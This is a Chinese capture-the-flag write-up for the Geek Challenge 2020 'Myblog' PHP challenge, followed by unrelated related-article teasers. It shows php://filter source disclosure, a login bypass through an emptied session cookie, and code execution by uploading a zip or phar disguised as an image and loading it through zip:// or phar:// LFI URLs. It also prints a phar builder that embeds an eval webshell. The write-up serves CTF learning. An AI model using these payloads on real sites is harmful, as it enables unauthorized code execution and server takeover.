[极客大挑战 2020]Roamphp2-Myblog - 伪协议+文件上传+(LFIZIP)||(LFIPhar)【***】

2023-10-10 08:01

本文主要是介绍[极客大挑战 2020]Roamphp2-Myblog - 伪协议+文件上传+(LFIZIP)||(LFIPhar)【***】,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

[极客大挑战 2020]Roamphp2-Myblog

  • 1 解题流程
    • 1.1 分析
    • 1.2 解题
    • 1.3 中场休息——再分析
      • 1.3.1 浅层分析
      • 1.3.2 难点疑惑
      • 1.3.3 深度分析
    • 1.4 重整旗鼓——再战
      • 1.4.1 解法一:zip伪协议
      • 1.4.2 解法二:phar伪协议
  • 2 总结展望

1

1 解题流程

1.1 分析

1、点击login,进入登录界面,用户名在首页提示了是longlone,密码未知,无法登录。
2、点击其他地方,发现没有什么线索,唯一有的只有page这个参数。
3、题目描述:Do you know the PHP pseudo-protocol? —— 意思就是跟伪协议有关系

1.2 解题

  1. 首先,我们通过page,看看是否能读取到源码
    ?page=php://filter/read=convert.base64-encode/resource=login
    得到以下关键代码
    <form method="post" action="/?page=admin/user" class="form-validate" id="loginFrom">……</form>
    <?php
    require_once("secret.php");
    mt_srand($secret_seed);
    $_SESSION['password'] = mt_rand();
    ?>
    
    通过代码,我们了解到几个关键信息
    1、登录请求通过post传输到admin/user,我们是否也可以查看该页面源码?
    2、存在secret.php,里面是否有猫腻?
    3、登录密码是随机数,想登录还是放弃吧!
  2. 采用同样的方式读取admin/user源码
    ?page=php://filter/read=convert.base64-encode/resource=admin/user
    获得源码以后,快刀斩乱麻,得到关键代码
    <?php
    session_start();
    $logined = false;
    if (isset($_POST['username']) and isset($_POST['password'])){if ($_POST['username'] === "Longlone" and $_POST['password'] == $_SESSION['password']){……
    }
    ?><body class=""><div class="sidebar-wrapper"><ul class="nav"><li ><a href="index.php?page=admin/dashboard"></a></li><li class="active "><a href="index.php?page=admin/user"></a></li><li><a href="index.php?page=admin/tables"></a></li><li class="active-pro"><a href="index.php?page=admin/logout"></a></li></ul></div><?phpif(isset($_FILES['Files']) and $_SESSION['status'] === true){$tmp_file = $_FILES['Files']['name'];$tmp_path = $_FILES['Files']['tmp_name'];if(($extension = pathinfo($tmp_file)['extension']) != ""){$allows = array('gif','jpeg','jpg','png');if(in_array($extension,$allows,true) and in_array($_FILES['Files']['type'],array_map(function($ext){return 'image/'.$ext;},$allows),true)){$upload_name = sha1(md5(uniqid(microtime(true), true))).'.'.$extension;move_uploaded_file($tmp_path,"assets/img/upload/".$upload_name);echo "<script>alert('Update image -> assets/img/upload/${upload_name}') </script>";} else {echo "<script>alert('Update illegal! Only allows like \'gif\', \'jpeg\', \'jpg\', \'png\' ') </script>";}}}?>
    </body>
    
    通过代码,我们了解到几个关键信息
    1、第一段的login校验是唬人的,没必要看
    2、html代码中,存在四个page:dashboard、user、tables、logout
    3、存在文件上传代码,且只允许图片格式,对文件名取md5保存在assets/img/upload/目录下

1.3 中场休息——再分析

1.3.1 浅层分析

我们分析到文件上传的部分,算是突破性进展。但是要文件上传首先得到admin页面,但是目前没法登录。
伪造Longlone用户名的cookie登录?不行
思来想去,还是找不到思路……
等等!!!
刚刚读取admin/user源码的时候,我认为第一段的login是唬人的,但其实并不是!
login在校验的过程当中,密码是和什么作比较?和SESSION[‘password’]
而SESSION[‘password’]哪里来?从login的源码我们可以知道,他是通过mt_rand()随机生成的
这说明我们的登录过程当中,一定会存在session值,而且只要把session改成空,就可以成功登录了!

1.3.2 难点疑惑

通过上面的分析,我们知道,session置空就可以登录,但是问题就在于,凭什么置空就能登录?
思考:我把session置1不行吗?置a不行吗?难道不是只要sessoin和password改成一样就好了?
结果:经过尝试,还真不行,依然提示密码错误,那么这就说明,我们传的sessoin实际并不是比较的SESSION[‘password’]
到了这里不研究明白真的没心思做其他事了!!!

1.3.3 深度分析

真相浮出水面,这里贴一张我的思路图
1
这个图,已经把90%的疑惑都解答了,但是还剩10%,那这10%是什么?
思考:我们session传了1,那么文件名是sess_1可以理解。但是我们置空的时候也没有把整个cookie删除,而是PHPSESSID=,按理来讲文件名不应该是sess_吗?如果确实存在sess_这个文件,不还是能找到该文件并且用里面的随机值去校验密码吗?
解答:根据session文件生成特性,如果我们传空或不传,那么就不会生成!

1.4 重整旗鼓——再战

  1. burpsuite抓包,同时修改session,post传递用户名和密码 | 或者直接把密码输入框的require属性删除即可输入空值
    1

1.4.1 解法一:zip伪协议

由于限制图片格式,所以写一句话木马的php文件压缩为zip,同时将zip改为jpg并上传
返回:Update image -> assets/img/upload/d21ff00896ed0acc6e1732d90c69f852e4f55f48.jpg
使用zip伪协议进行解压并执行:格式 - zip:// + 文件路径 + # + 压缩包内部文件名(不带后缀)
  ?page=zip://./assets/img/upload/d21ff00896ed0acc6e1732d90c69f852e4f55f48.jpg#yjh.php ×
  ?page=zip://./assets/img/upload/d21ff00896ed0acc6e1732d90c69f852e4f55f48.jpg%23yjh
  注意get传参要编码,蚁剑连接即可找到flag
  1

1.4.2 解法二:phar伪协议

要知道phar不仅仅可以做反序列化题目,他本质上还是生成一个文件,只有有关文件上传,就可能用到它
所以我们编写phar脚本,生成文件,并将该文件改为jpg后缀上传,再用phar伪协议读取该文件

<?php$phar = new Phar("myblog.phar"); //.phar文件$phar->startBuffering();$phar->setStub('<?php __HALT_COMPILER(); ?>'); //固定的$phar->addFromString("yjh.php", "<?php @eval(\$_POST['pwd']) ?>"); //添加要压缩的文件$phar->stopBuffering();
?>

上传后提示:Update image -> assets/img/upload/aabe33107f7da4b7893e0f3be71e3ec861d1e0a4.jpg
使用phar伪协议进行解压并执行:格式 - phar:// + 文件路径 + / + 压缩包内部文件名(不带后缀)
  ?page=phar://./assets/img/upload/aabe33107f7da4b7893e0f3be71e3ec861d1e0a4.jpg/yjh
  2

2 总结展望

感谢自己!感谢老师!

这篇关于[极客大挑战 2020]Roamphp2-Myblog - 伪协议+文件上传+(LFIZIP)||(LFIPhar)【***】的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/179132

相关文章

跨国公司撤出在华研发中心的启示:中国IT产业的挑战与机遇

近日,IBM中国宣布撤出在华的两大研发中心,这一决定在IT行业引发了广泛的讨论和关注。跨国公司在华研发中心的撤出,不仅对众多IT从业者的职业发展带来了直接的冲击,也引发了人们对全球化背景下中国IT产业竞争力和未来发展方向的深思。面对这一突如其来的变化,我们应如何看待跨国公司的决策?中国IT人才又该如何应对?中国IT产业将何去何从?本文将围绕这些问题展开探讨。 跨国公司撤出的背景与

usaco 1.3 Mixing Milk (结构体排序 qsort) and hdu 2020(sort)

到了这题学会了结构体排序 于是回去修改了 1.2 milking cows 的算法~ 结构体排序核心: 1.结构体定义 struct Milk{int price;int milks;}milk[5000]; 2.自定义的比较函数,若返回值为正,qsort 函数判定a>b ;为负,a<b;为0,a==b; int milkcmp(const void *va,c

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

【Linux】应用层http协议

一、HTTP协议 1.1 简要介绍一下HTTP        我们在网络的应用层中可以自己定义协议,但是,已经有大佬定义了一些现成的,非常好用的应用层协议,供我们直接使用,HTTP(超文本传输协议)就是其中之一。        在互联网世界中,HTTP(超文本传输协议)是一个至关重要的协议,他定义了客户端(如浏览器)与服务器之间如何进行通信,以交换或者传输超文本(比如HTML文档)。

Spring MVC 图片上传

引入需要的包 <dependency><groupId>commons-logging</groupId><artifactId>commons-logging</artifactId><version>1.1</version></dependency><dependency><groupId>commons-io</groupId><artifactId>commons-

【Go】go连接clickhouse使用TCP协议

离开你是傻是对是错 是看破是软弱 这结果是爱是恨或者是什么 如果是种解脱 怎么会还有眷恋在我心窝 那么爱你为什么                      🎵 黄品源/莫文蔚《那么爱你为什么》 package mainimport ("context""fmt""log""time""github.com/ClickHouse/clickhouse-go/v2")func main(

2024.9.8 TCP/IP协议学习笔记

1.所谓的层就是数据交换的深度,电脑点对点就是单层,物理层,加上集线器还是物理层,加上交换机就变成链路层了,有地址表,路由器就到了第三层网络层,每个端口都有一个mac地址 2.A 给 C 发数据包,怎么知道是否要通过路由器转发呢?答案:子网 3.将源 IP 与目的 IP 分别同这个子网掩码进行与运算****,相等则是在一个子网,不相等就是在不同子网 4.A 如何知道,哪个设备是路由器?答案:在 A

国产游戏行业的崛起与挑战:技术创新引领未来

国产游戏行业的崛起与挑战:技术创新引领未来 近年来,国产游戏行业蓬勃发展,技术水平不断提升,许多优秀作品在国际市场上崭露头角。从画面渲染到物理引擎,从AI技术到服务器架构,国产游戏已实现质的飞跃。然而,面对全球游戏市场的激烈竞争,国产游戏技术仍然面临诸多挑战。本文将探讨这些挑战,并展望未来的机遇,深入分析IT技术的创新将如何推动行业发展。 国产游戏技术现状 国产游戏在画面渲染、物理引擎、AI

Modbus-RTU协议

一、协议概述 Modbus-RTU(Remote Terminal Unit)是一种基于主从架构的通信协议,采用二进制数据表示,消息中的每个8位字节含有两个4位十六进制字符。它主要通过RS-485、RS-232、RS-422等物理接口实现数据的传输,传输距离远、抗干扰能力强、通信效率高。 二、报文结构 一个标准的Modbus-RTU报文通常包含以下部分: 地址域:单个字节,表示从站设备

在SSH的基础上使用jquery.uploadify.js上传文件

在SSH框架的基础上,使用jquery.uploadify.js实现文件的上传,之前搞了好几天,都上传不了, 在Action那边File接收到的总是为null, 为了这个还上网搜了好多相关的信息,但都不行,最后还是搜到一篇文章帮助到我了,希望能帮助到为之困扰的人。 jsp页面的关键代码: <link rel="stylesheet" type="text/css" href="${page